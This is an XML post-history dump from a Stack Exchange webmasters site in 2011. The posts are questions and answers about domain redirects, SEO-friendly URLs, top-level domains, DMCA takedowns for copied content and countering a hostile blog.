  <row Id="21903" PostHistoryTypeId="2" PostId="9850" RevisionGUID="8299ba27-6445-4b0b-9dbd-8f7479115a6b" CreationDate="2011-03-01T15:25:12.973" UserId="1898" Text="It's not a DNS setting; you need to set up a redirect from mydomain.com to www.mydomain.com.  Fortunately, godaddy provices this service for free; follow the directions at http://community.godaddy.com/help/article/422" />
  <row Id="21904" PostHistoryTypeId="2" PostId="9849" RevisionGUID="eabf0f78-48ef-4dfd-beea-f690ae144823" CreationDate="2011-03-01T15:21:54.347" UserDisplayName="chrismarx" Text="so i've set www.mydomain.com to point to ghs.google.com, which correctly loads my google site, but if you go to mydomain.com, it doesn't redirect/forward to www.mydomain.com, it just hangs. is there a way to change this in the godaddy dns manager?" />
  <row Id="21905" PostHistoryTypeId="1" PostId="9849" RevisionGUID="eabf0f78-48ef-4dfd-beea-f690ae144823" CreationDate="2011-03-01T15:21:54.347" UserDisplayName="chrismarx" Text="how to forward mydomain.com to www.mydomain.com on godaddy" />
  <row Id="21906" PostHistoryTypeId="3" PostId="9849" RevisionGUID="eabf0f78-48ef-4dfd-beea-f690ae144823" CreationDate="2011-03-01T15:21:54.347" UserDisplayName="chrismarx" Text="&lt;dns&gt;&lt;godaddy&gt;" />
  <row Id="21907" PostHistoryTypeId="17" PostId="9849" RevisionGUID="6cc62662-1831-43bd-ba75-aa51ccc411b2" CreationDate="2011-03-01T15:25:54.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5156476/how-to-forward-mydomain-com-to-www-mydomain-com-on-godaddy" Text="" />
  <row Id="21908" PostHistoryTypeId="2" PostId="9851" RevisionGUID="4d4711c3-c187-4452-8ecd-3449c1b0346b" CreationDate="2011-03-01T15:26:00.680" UserId="1253" Text="First, start by thinking about your users. Those missing pages will affect them, too.&#xD;&#xA;&#xD;&#xA;If there is a page that is very close in content to those missing pages then redirect to those pages. That way if a user finds the old URL they will be taken to a page that makes sense to them and may help them find what they are looking for.&#xD;&#xA;&#xD;&#xA;Otherwise, have those pages point to a page that says you've changed domains and moved things around in your site. On that page link to popular pages and also to a sitemap. This will allow users to determine where to go next. It also will help to channel the link love to those popular pages thus not wasting it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21909" PostHistoryTypeId="6" PostId="9847" RevisionGUID="83f7b660-2a92-4f22-ba56-ef1269083d47" CreationDate="2011-03-01T15:27:01.910" UserId="1253" Comment="Removed &quot;website google-webmaster-tools&quot; tags, added &quot;301-redirect tag" Text="&lt;seo&gt;&lt;301-redirect&gt;" />
  <row Id="21911" PostHistoryTypeId="2" PostId="9853" RevisionGUID="baecdc42-b784-4b97-8cea-e38c316c3806" CreationDate="2011-03-01T15:33:59.940" UserId="1253" Text="I say keep &quot;products&quot; in your URL. It's good for search engines and for users. The search engines can use it to help identify it as an item for sale and that may help when trying to rank for it in organic search as well as product searches. It also helps users as it clearly tells them that URL will take them to a product listing." />
  <row Id="21912" PostHistoryTypeId="2" PostId="9854" RevisionGUID="c6f30091-8b5c-4f8f-84c2-a2a273f97d2b" CreationDate="2011-02-26T16:35:49.960" UserDisplayName="thegreyspot" Text="I am looking for a plugin/themes manager that users will be submitting. Pretty much I would like to have something like these:&#xD;&#xA;&#xD;&#xA;http://www.winamp.com/plugins/&#xD;&#xA;&#xD;&#xA;http://addons.sonGBirdnest.com/addons&#xD;&#xA;&#xD;&#xA;https://addons.mozilla.org/" />
  <row Id="21913" PostHistoryTypeId="1" PostId="9854" RevisionGUID="c6f30091-8b5c-4f8f-84c2-a2a273f97d2b" CreationDate="2011-02-26T16:35:49.960" UserDisplayName="thegreyspot" Text="Free user submitted plugins/themes manager for software project" />
  <row Id="21914" PostHistoryTypeId="3" PostId="9854" RevisionGUID="c6f30091-8b5c-4f8f-84c2-a2a273f97d2b" CreationDate="2011-02-26T16:35:49.960" UserDisplayName="thegreyspot" Text="&lt;cms&gt;" />
  <row Id="21915" PostHistoryTypeId="17" PostId="9854" RevisionGUID="d222351a-d8d2-49b8-98b5-2ffff04099c3" CreationDate="2011-03-01T16:11:43.433" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12934/free-user-submitted-plugins-themes-manager-for-software-project" Text="" />
  <row Id="21916" PostHistoryTypeId="2" PostId="9855" RevisionGUID="ba5b571c-ce38-44a7-a4d8-733dbf5a01dd" CreationDate="2011-03-01T16:34:38.023" UserId="4021" Text="In my experience, the optimal URL would be /[product_category]/name.html&#xD;&#xA;&#xD;&#xA;    /camping/coleman-4-man-tent.html&#xD;&#xA;&#xD;&#xA;This is better for the user and if Google uses keyword density in the URL as a signal  (nobody knows if they do, but if I ran a search engine, I probably would), then you'd increase the keyword density by not polluting the URL with throw-away words like &quot;products&quot; and extraneous characters like the 'id'.&#xD;&#xA;&#xD;&#xA;The downside is that this is extra work because you can't just parse the ID from the URL and ignore everything else (*however most people who rely on parsing an ID and ignore everything else screw because they forget to return 404's or 301's for all but the CORRECT version of the URL, so they create multiple URL's that dutifully return the same HTML, e.g. /products/1234/coleman-4-man-tent/ and /products/1234/coleman-4br-mcmansion/ return the same HTML, which is also known as **duplicate content***).&#xD;&#xA;&#xD;&#xA;One way I've implemented this is by keeping a table which I put into an in-memory hashmap that uses the key &quot;/camping/coleman-4-man-tent.html&quot; to lookup the ID." />
  <row Id="21917" PostHistoryTypeId="2" PostId="9856" RevisionGUID="79ca90e2-2595-43c6-9a1e-7c84f9494f4e" CreationDate="2011-03-01T16:42:23.700" UserId="4021" Text="For a large scale 301 redirect project, take a look at this tool:&#xD;&#xA;&#xD;&#xA;http://www.portentinteractive.com/blog/fixing-broken-links-levenshtein.htm&#xD;&#xA;&#xD;&#xA;You give it 2 lists of URLs and it uses a string distance algorithm to match up the old URL with a prospective new URL.  My experience is that it's OK but far from perfect, so you need to add a layer of human oversight on the mappings it suggests." />
  <row Id="21918" PostHistoryTypeId="2" PostId="9857" RevisionGUID="8b9c1cf6-c8a0-463b-9853-c3e22b014810" CreationDate="2011-03-01T16:48:11.153" UserDisplayName="user5746" Text="I know this is probably a dumb question but I hope someone can give me some insight;&#xD;&#xA;&#xD;&#xA;I was ranked on Google first page of search results for &quot;funny st patricks day shirts&quot; but I was third from the bottom and not familiar enough with SEO, so I signed up for &quot;Attracta&quot; to rank higher. Big mistake.&#xD;&#xA;&#xD;&#xA;Since using Attracta, I've lost the first page and I'm now on the fourth page in that search. What I noticed is that Google is now just showing a sub-page or side page, (a link from my front page, to a page which has only a few designs in it) this is not where I would want customers to land first... but my front page is not showing in that search anymore. Obviously, the title of this side page is not geared toward that search result, so I know that's why I have the pr drop.&#xD;&#xA;&#xD;&#xA;Why is my front page not ranking over that page, though? Why is it apparently gone from that search, or so far back no one will ever find it?&#xD;&#xA;&#xD;&#xA;I need to know how to fix this quick if anyone has any advice at all for me. It's the busiest season for my website and the people who were stealing design ideas from me are all ranked higher than my site now. (I can prove this, lol) So, I'm very frustrated by that.&#xD;&#xA;&#xD;&#xA;I would be very grateful to have any advice at all as to what I can do to fix this.&#xD;&#xA;&#xD;&#xA;My site is www.shamrockz.com and this is the first page I'd like people to find, not that other page.&#xD;&#xA;&#xD;&#xA;THANKS in advance for any advice you can offer. &#xD;&#xA;&#xD;&#xA;Catelyn&#xD;&#xA;" />
  <row Id="21919" PostHistoryTypeId="1" PostId="9857" RevisionGUID="8b9c1cf6-c8a0-463b-9853-c3e22b014810" CreationDate="2011-03-01T16:48:11.153" UserDisplayName="user5746" Text="Google search question, front page not showing..." />
  <row Id="21920" PostHistoryTypeId="3" PostId="9857" RevisionGUID="8b9c1cf6-c8a0-463b-9853-c3e22b014810" CreationDate="2011-03-01T16:48:11.153" UserDisplayName="user5746" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="21921" PostHistoryTypeId="5" PostId="9857" RevisionGUID="64a78e0d-82bb-4ff8-8884-8f83c1794f46" CreationDate="2011-03-01T16:51:44.677" UserId="1253" Comment="Removed URL to site so this wouldn't be too localized" Text="I know this is probably a dumb question but I hope someone can give me some insight;&#xD;&#xA;&#xD;&#xA;I was ranked on Google first page of search results for &quot;funny st patricks day shirts&quot; but I was third from the bottom and not familiar enough with SEO, so I signed up for &quot;Attracta&quot; to rank higher. Big mistake.&#xD;&#xA;&#xD;&#xA;Since using Attracta, I've lost the first page and I'm now on the fourth page in that search. What I noticed is that Google is now just showing a sub-page or side page, (a link from my front page, to a page which has only a few designs in it) this is not where I would want customers to land first... but my front page is not showing in that search anymore. Obviously, the title of this side page is not geared toward that search result, so I know that's why I have the pr drop.&#xD;&#xA;&#xD;&#xA;Why is my front page not ranking over that page, though? Why is it apparently gone from that search, or so far back no one will ever find it?&#xD;&#xA;&#xD;&#xA;I need to know how to fix this quick if anyone has any advice at all for me. It's the busiest season for my website and the people who were stealing design ideas from me are all ranked higher than my site now. (I can prove this, lol) So, I'm very frustrated by that.&#xD;&#xA;&#xD;&#xA;I would be very grateful to have any advice at all as to what I can do to fix this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;THANKS in advance for any advice you can offer. &#xD;&#xA;&#xD;&#xA;Catelyn&#xD;&#xA;" />
  <row Id="21922" PostHistoryTypeId="2" PostId="9858" RevisionGUID="f898153b-3432-46b3-a161-7c417f07007e" CreationDate="2011-03-01T16:45:16.210" UserDisplayName="obautista" Text="I am trying to understand the use of Top Level Domains.  Do they help from a SEO perspective?  Lets say I have a US site and a Canada site.  For US, I create www.foo.com and for Canada I create www.foo.ca.  Does this provide better functionality, or is it better practice, than www.foo.com/us/ and www.foo.com/ca/?&#xD;&#xA;&#xD;&#xA;Thanks for any insight given...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21923" PostHistoryTypeId="1" PostId="9858" RevisionGUID="f898153b-3432-46b3-a161-7c417f07007e" CreationDate="2011-03-01T16:45:16.210" UserDisplayName="obautista" Text="Why use a Top Level Domain" />
  <row Id="21924" PostHistoryTypeId="3" PostId="9858" RevisionGUID="f898153b-3432-46b3-a161-7c417f07007e" CreationDate="2011-03-01T16:45:16.210" UserDisplayName="obautista" Text="&lt;url&gt;&lt;domains&gt;&lt;webmaster&gt;" />
  <row Id="21925" PostHistoryTypeId="17" PostId="9858" RevisionGUID="12fa2e0a-b00f-4568-aa81-45629e1fb61b" CreationDate="2011-03-01T17:19:04.137" UserId="-1" Comment="from http://stackoverflow.com/questions/5157521/why-use-a-top-level-domain" Text="" />
  <row Id="21926" PostHistoryTypeId="25" PostId="9848" RevisionGUID="cc5f1dbd-8438-4c38-8b79-7ebf9edc2168" CreationDate="2011-03-01T17:23:12.500" Comment="http://twitter.com/#!/StackWebmasters/status/42636013679558656" />
  <row Id="21927" PostHistoryTypeId="2" PostId="9859" RevisionGUID="ba74ec10-757e-40aa-a9c6-67d8945dc929" CreationDate="2011-03-01T17:36:20.300" UserId="3535" Text="Functionality-wise, it would be easier to manage with www.foo.com/us/ and www.foo.com/ca/. Having www.foo.com for US and www.foo.ca for Canada would be 2 completely different sites. Plus, if you had www.foo.ca for Canada technically the appropriate domain for US would be www.foo.us. &#xD;&#xA;&#xD;&#xA;It's debatable, but to top domain doesn't seem to make that much of a difference. But, the .com domain is what everyone is familiar with. I can't recall off hand any sites I visit with a .us domain." />
  <row Id="21928" PostHistoryTypeId="2" PostId="9860" RevisionGUID="9d23389d-a69e-4f6e-a10d-27483ba3772c" CreationDate="2011-03-01T17:52:56.993" UserDisplayName="Angelus" Text="Hi again and sorry for the bad title . This time I'm thinking in a big project , and I have a big hole of acknowledge about servers and cost of them (economic cost).&#xD;&#xA;&#xD;&#xA;The big project consist in a new table game for playing online with bets. Think in it like a poker server that must have a good response to thousands of people at the same time.&#xD;&#xA;&#xD;&#xA;Then i have the big question , what type of server must i look for? , what features must i see in them? . ¿Must I think in cloud computing?&#xD;&#xA;&#xD;&#xA;thank you in advance." />
  <row Id="21929" PostHistoryTypeId="1" PostId="9860" RevisionGUID="9d23389d-a69e-4f6e-a10d-27483ba3772c" CreationDate="2011-03-01T17:52:56.993" UserDisplayName="Angelus" Text="The big dude : server cost € , and the what 'i must look for' question ." />
  <row Id="21930" PostHistoryTypeId="3" PostId="9860" RevisionGUID="9d23389d-a69e-4f6e-a10d-27483ba3772c" CreationDate="2011-03-01T17:52:56.993" UserDisplayName="Angelus" Text="&lt;server&gt;&lt;cost&gt;" />
  <row Id="21931" PostHistoryTypeId="17" PostId="9860" RevisionGUID="96008eb6-23d8-4d02-9962-1438a29eef6c" CreationDate="2011-03-01T17:57:15.727" UserId="-1" Comment="from http://stackoverflow.com/questions/5158354/the-big-dude-server-cost-and-the-what-i-must-look-for-question" Text="" />
  <row Id="21932" PostHistoryTypeId="2" PostId="9861" RevisionGUID="5ac0bf4c-615e-4bb7-b6fb-089622005d0b" CreationDate="2011-03-01T18:05:11.210" UserId="5749" Text="We've developed our website for over 10 years. Recently a website in China has begun to pirate our images and product descriptions (they are showing &quot;new&quot; March offerings). Nearly all of the items they &quot;offer&quot; are ours. Their whois leads to an outfit in France which by chance also hosts a website for Steroids, and both the Steroid and the pirate site share an 800 phone number (coincidence??). The pirate site lists &quot;their&quot; products as being available in mass quantities, though very often the actual product is one-of-a-kind. The images they've stolen appear in google searches alongside our own!! Clicking on any product at the pirate site leads to nowhere. Calls to the 800 number lead to a recorded answer. No reply to our emails (funny if they would have!) Any suggestions on what to do? Much obliged for any help. &#xD;&#xA;&#xD;&#xA;Paul at The Russian Shop&#xD;&#xA;&#xD;&#xA;www.TheRussianShop.com&#xD;&#xA;&#xD;&#xA;https://www.collectiblereview.com (the pirates)&#xD;&#xA;&#xD;&#xA;http://www.anabolic-store.com (steroids)" />
  <row Id="21933" PostHistoryTypeId="1" PostId="9861" RevisionGUID="5ac0bf4c-615e-4bb7-b6fb-089622005d0b" CreationDate="2011-03-01T18:05:11.210" UserId="5749" Text="Alot of Pirated Material on Someone's Website - What Can Be Done?" />
  <row Id="21934" PostHistoryTypeId="3" PostId="9861" RevisionGUID="5ac0bf4c-615e-4bb7-b6fb-089622005d0b" CreationDate="2011-03-01T18:05:11.210" UserId="5749" Text="&lt;legal&gt;" />
  <row Id="21936" PostHistoryTypeId="5" PostId="9861" RevisionGUID="a8ae344f-afef-4492-bbe5-ee9c2898e9ef" CreationDate="2011-03-01T18:22:19.310" UserId="1253" Comment="Removed signature" Text="We've developed our website for over 10 years. Recently a website in China has begun to pirate our images and product descriptions (they are showing &quot;new&quot; March offerings). Nearly all of the items they &quot;offer&quot; are ours. Their whois leads to an outfit in France which by chance also hosts a website for Steroids, and both the Steroid and the pirate site share an 800 phone number (coincidence??). The pirate site lists &quot;their&quot; products as being available in mass quantities, though very often the actual product is one-of-a-kind. The images they've stolen appear in google searches alongside our own!! Clicking on any product at the pirate site leads to nowhere. Calls to the 800 number lead to a recorded answer. No reply to our emails (funny if they would have!) Any suggestions on what to do? Much obliged for any help. &#xD;&#xA;&#xD;&#xA;https://www.collectiblereview.com (the pirates)&#xD;&#xA;&#xD;&#xA;http://www.anabolic-store.com (steroids)" />
  <row Id="21937" PostHistoryTypeId="2" PostId="9862" RevisionGUID="f6b41464-98e7-42c7-9925-edae1bc64a1e" CreationDate="2011-03-01T18:48:27.393" UserId="1253" Text="Send a [DMCA notice to Google][1]. If the other party doesn't respond, and you can bet they won't, Google will remove them from their SERPs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/bin/static.py?page=ts.cs&amp;ts=1114905" />
  <row Id="21938" PostHistoryTypeId="6" PostId="9858" RevisionGUID="31b78582-f490-40bc-b729-604adb52dd09" CreationDate="2011-03-01T18:49:36.520" UserId="1253" Comment="removed &quot;webmaster&quot; tag" Text="&lt;domains&gt;&lt;url&gt;" />
  <row Id="21939" PostHistoryTypeId="2" PostId="9863" RevisionGUID="a51bd53f-204a-42b8-a3c2-af0d48a298df" CreationDate="2011-03-01T18:58:55.593" UserId="1253" Text="TLDS do not affect search results in Google.com. However, TLDs do affect your search results for country specific searches. For example, a .me or .tv domain will not rank as well as a .us website in a google.us web search. Also, a .co.uk site will rank better then a .us site in a google.co.uk search. This is because country specific searches give precedence to local websites.&#xD;&#xA;&#xD;&#xA;As for using subdirectories for each region, [Google posted a very informative blog post][1] about that that you should read as it will answer many of your questions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="21940" PostHistoryTypeId="6" PostId="9858" RevisionGUID="5f47bd5d-f637-4bf3-ab52-53ac1863cca8" CreationDate="2011-03-01T19:01:49.040" UserId="1253" Comment="added 'tld' tag" Text="&lt;domains&gt;&lt;url&gt;&lt;tld&gt;" />
  <row Id="21941" PostHistoryTypeId="25" PostId="9861" RevisionGUID="d4af324d-2c5f-4829-9b79-da8ac2bd2411" CreationDate="2011-03-01T20:23:12.407" Comment="http://twitter.com/#!/StackWebmasters/status/42681311982395392" />
  <row Id="21942" PostHistoryTypeId="2" PostId="9864" RevisionGUID="11e09bce-ddd4-4be0-9df1-f601cee20089" CreationDate="2011-03-01T21:33:42.750" UserDisplayName="Max13" Text="I'm the founder of a little non-profit French organization.&#xD;&#xA;&#xD;&#xA;Currently, we're providing free web and shell hosting.&#xD;&#xA;Talking about that, is there a way to become a Trusted Certificate Authority, in order to give free SSL certificates to my customers, but also to avoid being an intermediate (and pay a lot for that), and/or avoid paying a lot for each certificate...&#xD;&#xA;&#xD;&#xA;Thank you for your help." />
  <row Id="21943" PostHistoryTypeId="1" PostId="9864" RevisionGUID="11e09bce-ddd4-4be0-9df1-f601cee20089" CreationDate="2011-03-01T21:33:42.750" UserDisplayName="Max13" Text="[SSL] Becoming Root CA" />
  <row Id="21944" PostHistoryTypeId="3" PostId="9864" RevisionGUID="11e09bce-ddd4-4be0-9df1-f601cee20089" CreationDate="2011-03-01T21:33:42.750" UserDisplayName="Max13" Text="&lt;ssl&gt;&lt;openssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="21945" PostHistoryTypeId="17" PostId="9864" RevisionGUID="bd1219a8-7d86-48f4-a6d5-6e60013e3d05" CreationDate="2011-03-01T21:45:35.350" UserId="-1" Comment="from http://stackoverflow.com/questions/5160630/ssl-becoming-root-ca" Text="" />
  <row Id="21946" PostHistoryTypeId="6" PostId="9864" RevisionGUID="adfe6659-1747-446f-8070-c7b671317867" CreationDate="2011-03-01T21:47:52.577" UserId="1253" Comment="Removed &quot;openssl&quot; tag" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="21947" PostHistoryTypeId="2" PostId="9865" RevisionGUID="17fc8d9a-90bb-46cb-a9a7-f2e43cfaad2f" CreationDate="2011-03-01T22:23:16.670" UserId="1714" Text="We are right now incorporating [microformats markup for reviews][1] into a client's web application and were wondering, whether it can be harmful to provide the same information on more than one page, e.g. on a dynamic search page and on the concrete product page.&#xD;&#xA;&#xD;&#xA;Does anybody have any experience with this?&#xD;&#xA;  [1]: http://microformats.org/wiki/hreview" />
  <row Id="21948" PostHistoryTypeId="1" PostId="9865" RevisionGUID="17fc8d9a-90bb-46cb-a9a7-f2e43cfaad2f" CreationDate="2011-03-01T22:23:16.670" UserId="1714" Text="For Google Rich Snippets: Is it 'harmful' to add the same `hreview-aggregate` microformat markup in several places?" />
  <row Id="21949" PostHistoryTypeId="3" PostId="9865" RevisionGUID="17fc8d9a-90bb-46cb-a9a7-f2e43cfaad2f" CreationDate="2011-03-01T22:23:16.670" UserId="1714" Text="&lt;google-webmaster-tools&gt;&lt;microformats&gt;" />
  <row Id="21950" PostHistoryTypeId="2" PostId="9866" RevisionGUID="b9800f3f-ab4f-442e-98f5-9d2fd637b72e" CreationDate="2011-03-01T22:56:21.490" UserId="1253" Text="I don't see why you have an issue with this. It's common to have identical information on multiple pages in HTML so why not microformats as well? If that same information was in an HTML table then you would include it on both places, right? As long as you're not trying to manipulate the system or creating duplicate content I wouldn't worry about it." />
  <row Id="21951" PostHistoryTypeId="6" PostId="9865" RevisionGUID="071a0bed-79f3-43b2-87f2-5fb459c92304" CreationDate="2011-03-01T22:57:52.593" UserId="1253" Comment="removed &quot;google-webmaster-tools&quot; tag, added &quot;seo&quot; tag" Text="&lt;seo&gt;&lt;microformats&gt;" />
  <row Id="21952" PostHistoryTypeId="2" PostId="9867" RevisionGUID="f98ae6cc-f397-4529-b7b4-b68b3a7b55d3" CreationDate="2011-03-01T23:00:50.337" UserId="1787" Text="Take screenshots for proof. Then write to the various parties involved the documents they require so the content can be removed. Focus on the plagiarism of your copyrighted content (uniqueness of products sold is your word against theirs).&#xD;&#xA;&#xD;&#xA;1. Send the site owners a cease and desist letter.&#xD;&#xA;&#xD;&#xA;2. Send their web host a DMCA takedown notice. This can be determined using [whois][1].&#xD;&#xA;&#xD;&#xA;3. Send search engines a DMCA takedown notice according to their terms:&#xD;&#xA;&#xD;&#xA; - [Google][2] [(how-to steps)][3]&#xD;&#xA; - [Bing][4]&#xD;&#xA; - [Yahoo!][5]&#xD;&#xA; - [AOL][6]&#xD;&#xA;&#xD;&#xA;There are examples of how to write each of these documents on [Plagiarism Today][7].&#xD;&#xA;&#xD;&#xA;I would also set up [Google Alerts][8] which will e-mail you when it finds content matching your unique search terms.&#xD;&#xA;&#xD;&#xA;The above is a summary of steps recommended in [several posts on brentozar.com][9]. While his posts are about stealing of blog content, most of it applies to your situation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whois.domaintools.com&#xD;&#xA;  [2]: http://www.google.com/dmca.html&#xD;&#xA;  [3]: http://www.plagiarismtoday.com/2008/07/22/how-to-email-a-dmca-to-google/&#xD;&#xA;  [4]: http://www.microsoft.com/info/cpyrtInfrg.htm&#xD;&#xA;  [5]: http://info.yahoo.com/copyright/us/details.html&#xD;&#xA;  [6]: http://about.aol.com/aolnetwork/copyright_infringement&#xD;&#xA;  [7]: http://www.plagiarismtoday.com/stock-letters/&#xD;&#xA;  [8]: http://www.google.com/alerts&#xD;&#xA;  [9]: http://www.brentozar.com/tag/plagiarism/" />
  <row Id="21953" PostHistoryTypeId="5" PostId="9866" RevisionGUID="56977ba1-2c5f-4e09-8547-5751e228fa1e" CreationDate="2011-03-01T23:01:21.907" UserId="1253" Comment="added 22 characters in body" Text="I don't see why you have an issue with this. It's common to have identical information on multiple pages in HTML so why not microformats as well? If that same information was in an HTML table then you would include it on both places, right? As long as each ID is unique and you're not trying to manipulate the system or creating duplicate content I wouldn't worry about it." />
  <row Id="21954" PostHistoryTypeId="25" PostId="9858" RevisionGUID="ebf632e3-84f0-4d2e-9c33-75f87a0b298b" CreationDate="2011-03-01T23:23:12.390" Comment="http://twitter.com/#!/StackWebmasters/status/42726610109071360" />
  <row Id="21955" PostHistoryTypeId="2" PostId="9868" RevisionGUID="fdb89451-253c-4f65-8951-0734b18a0cc3" CreationDate="2011-03-01T23:37:00.350" UserId="5755" Text="Someone has decided to create a hate blog on a hosted blogging service (wordpress.com) that bashes my company. The blog contains posts that completely flame myself, my service, and contains complete falsehoods about how I run my business. Without going into details, I'm pretty sure the author of this blog is an owner of a competing service (although it is authored completely anonymously).&#xD;&#xA;&#xD;&#xA;Frankly, I'm not sure if the content would qualify for defamation or not, but I really don't like the idea of spending money on a lawyer to even attempt to prove this. I also have no interest in retorting or even replying to the blog in any sort of way -- I feel this would justify the ludicrous claims that have been posted.&#xD;&#xA;&#xD;&#xA;Unfortunately, whoever wrote the blog was pretty smart about using key words that people commonly use to search for my service. Because my customer base is relatively small and local, our PageRank is not incredibly high. As a result, when someone Google's our business name, this blog is usually within the top five results (thankfully, it's never above the business' actual website, but it's usually within eyeshot).&#xD;&#xA;&#xD;&#xA;It's incredibly frustrating to hear from customers who have seen the link (luckily, most of the time they think the author is crazy). &#xD;&#xA;&#xD;&#xA;Is there anything I can do to combat this? Would it be worthwhile to setup my own hosted wordpress.com branded blog, in an effort to trump this wordpress.com with a blog that is more active of my own?&#xD;&#xA;&#xD;&#xA;**TL;DR: Someone made a hate blog using wordpress.com and is now on the first page of my business' search results. What are my options?**" />
  <row Id="21956" PostHistoryTypeId="1" PostId="9868" RevisionGUID="fdb89451-253c-4f65-8951-0734b18a0cc3" CreationDate="2011-03-01T23:37:00.350" UserId="5755" Text="How to combat negative SEO?" />
  <row Id="21957" PostHistoryTypeId="3" PostId="9868" RevisionGUID="fdb89451-253c-4f65-8951-0734b18a0cc3" CreationDate="2011-03-01T23:37:00.350" UserId="5755" Text="&lt;seo&gt;" />
  <row Id="21958" PostHistoryTypeId="2" PostId="9869" RevisionGUID="5db6479b-384b-4874-a04c-a04d09af9e2c" CreationDate="2011-03-01T23:37:46.140" UserId="4461" Text=" 1. Only use &quot;product&quot; if your inventory suits no other bucket - e.g. &quot;taps&quot; or &quot;tents&quot; etc. &quot;product&quot; is as non-descriptive and helpful as &quot;service&quot;, so I can understand your SEOs advice to truncate it, but I don't agree with removing that segment wholesale.&#xD;&#xA; 2. If you're rewriting URLs, consider removing unnecessary nesting by using hyphens instead, e.g. `/&lt;category&gt;/&lt;id&gt;-&lt;title&gt;`&#xD;&#xA; 3. If you're rewriting URLs, don't bother with the language extension (.html, .php, .blah etc)&#xD;&#xA; 4. Including the product id in the same place allows for better Db look-up and matching and canonicalization&#xD;&#xA; 5. Ignore the advice of anyone who mentions 'keyword density'. Ever.&#xD;&#xA; 6. If you're thinking this much about your URL, then you're thinking too much - no search engine puts this much ranking impact on your URL, other than a) the domain name, and b) the length. I could start a new site using horrible `cgi-bin` URLs, and with all other things being equal still outrank you.&#xD;&#xA; 7. Best for users is best." />
  <row Id="21959" PostHistoryTypeId="2" PostId="9870" RevisionGUID="e965b4c2-3b06-41a8-a8fb-0bfca5cf8e91" CreationDate="2011-03-01T23:58:05.740" UserId="1253" Text="Make you own blog to counter their blog. You'll attempt to accomplish two things with it:&#xD;&#xA;&#xD;&#xA;1) Refute their claims, anonymously, and hopefully make them look bad in the process&#xD;&#xA;&#xD;&#xA;2) Attempt to outrank them and push their blog down further on the SERPs page&#xD;&#xA;&#xD;&#xA;You can also attempt to do #2 by getting more pages to outrank them. Twitter, Facebook, and other similar pages tend to rank well out of the box as I know they do for my name whenever I search for it." />
  <row Id="21960" PostHistoryTypeId="2" PostId="9871" RevisionGUID="ce0fcd2d-e0d8-4349-8191-6bfed7db5635" CreationDate="2011-03-02T00:00:40.893" UserId="5718" Text="I think it depends on the PageRank of the hate blog. If it's not too strong then you need to try and get your name out onto as many sites as possible so the listing will be burred underneath it in time. Simple profiles on sites like LinkedIn and Facebook often rise to the top of the search results and reduce the space for other links. &#xD;&#xA;&#xD;&#xA;However, if it's a popular blog then you've got a problem that even an experienced SEO might have difficulty with. Maybe try complaining to wordpress.com but I don't know if that would do any good or not." />
  <row Id="21961" PostHistoryTypeId="2" PostId="9872" RevisionGUID="aa91be5e-631a-4539-96bd-d5fe2cf61cab" CreationDate="2011-03-01T22:40:00.063" UserDisplayName="wxs" Text="I'm looking at setting up a blog, and I think I want to go the static website compiler route, rather than the perhaps more conventional Wordpress route. I'm looking at using [blogofile](http://www.blogofile.com/), but could use [jekyll](https://github.com/mojombo/jekyll) as well.&#xD;&#xA;&#xD;&#xA;These tools recommend using [disqus](http://disqus.com/) to embed a javascript comment widget on blog posts. I'd go that route, but I'd rather host the comments myself, rather than use a third party. I could certainly write my own dirt-simple comment server, but I was wondering if anyone knew of one that already exists (of the open source variety).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21962" PostHistoryTypeId="1" PostId="9872" RevisionGUID="aa91be5e-631a-4539-96bd-d5fe2cf61cab" CreationDate="2011-03-01T22:40:00.063" UserDisplayName="wxs" Text="Disqus-like comment server" />
  <row Id="21963" PostHistoryTypeId="3" PostId="9872" RevisionGUID="aa91be5e-631a-4539-96bd-d5fe2cf61cab" CreationDate="2011-03-01T22:40:00.063" UserDisplayName="wxs" Text="&lt;server&gt;&lt;webserver&gt;&lt;blog&gt;" />
  <row Id="21964" PostHistoryTypeId="17" PostId="9872" RevisionGUID="959ba4a3-1f54-44b1-8900-ec54e5bf5580" CreationDate="2011-03-02T00:01:48.677" UserId="-1" Comment="from http://serverfault.com/questions/241948/disqus-like-comment-server" Text="" />
  <row Id="21965" PostHistoryTypeId="5" PostId="9745" RevisionGUID="77bd6d82-ba55-4325-96f1-14608e2fc560" CreationDate="2011-03-02T00:05:55.513" UserId="5683" Comment="added 40 characters in body" Text="Here are few:&#xD;&#xA;&#xD;&#xA; - [Co.cc][1]&#xD;&#xA; - [Free-Name.org][2] (trial offer based)&#xD;&#xA; - [Free Domain Name][3] (trial offer based)&#xD;&#xA; - [Eu.org][4]&#xD;&#xA;&#xD;&#xA;I have only tried Co.cc and Eu.org. The former one has instant registration, the latter requires admin approval (can be weeks).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.co.cc/&#xD;&#xA;  [2]: http://free-name.org/&#xD;&#xA;  [3]: http://www.freedomainsite.com/free_domain_details.htm&#xD;&#xA;  [4]: http://eu.org/&#xD;&#xA;  [5]: http://www.dot.tk" />
